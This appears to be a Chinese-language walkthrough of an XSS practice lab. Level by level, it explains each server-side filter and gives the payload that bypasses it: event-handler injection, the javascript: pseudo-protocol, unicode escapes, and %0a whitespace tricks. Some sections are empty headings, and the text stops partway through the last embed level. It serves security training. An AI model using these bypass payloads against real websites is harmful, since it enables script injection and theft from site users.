1.多个文本框
a.攻击思路
发现p1被完全过滤,考虑抓包修改P2
b.攻击代码
发现p2并没有过滤,攻击成功。
2.多个文本框----隐藏参数
a.攻击思路
b.攻击代码
抓包修改p3
c.攻击结果
3.字符长度受限
a.服务端思路
b.攻击代码
审查修改为150
"onmouseover=alert(document.domain)//
c攻击结果
4.输入转义< 、>、\
a.服务端思路
未转义”
b.攻击代码
"onmouseover=alert(document.domain)//
c攻击结果
5 a标签转义“
a.服务端思路
考虑a 中href 伪协议
b.攻击代码
javascript:alert(document.domain)
c攻击结果
6 过滤关键字domain
a.服务端思路
考虑编码绕过
b.攻击代码
"onmouseover=alert(document.domain)//
c攻击结果
7.标签内on过滤
a.服务端思路
b.攻击代码
进行正则绕过,插入不可见编码
c攻击结果
8.document.write
a.服务端思路
过滤了” < >
b.攻击代码
尝试编码,由于document.write会去编码的‘\’,因此双写
原来的
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e
c攻击结果
9.过滤空格, script, /
服务端代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
攻击思路
通过插入%0d、%0a(回车换行)实现xss攻击绕过,
由于过滤**’/’**-----------------------首先想到,空格用不可见符代替。
注意无空格隔开,反而会使得自动添加与前标签对应的</>…
http://xss.tesla-space.com/level16.php?keyword=<img%0asrc=x%0aonerror=alert(1)>
攻击效果
10.embed
服务端代码
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
攻击思路
俩个输出的值都被做了实体化转义,无法闭合标签
PHP中,echo的src并没有 **‘’**表示范围,意味着可以绕开。
本身支持事件。通过%20【或者其他如%0a等空白符绕开】
http://xss.tesla-space.com/level17.php?arg01=123%20onmouseover=alert('xss')&arg=456
攻击效果
embed存在‘无法绕开
服务端代码
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
攻击思路
此时,可以看见src后跟 “ ,无法如上题绕开。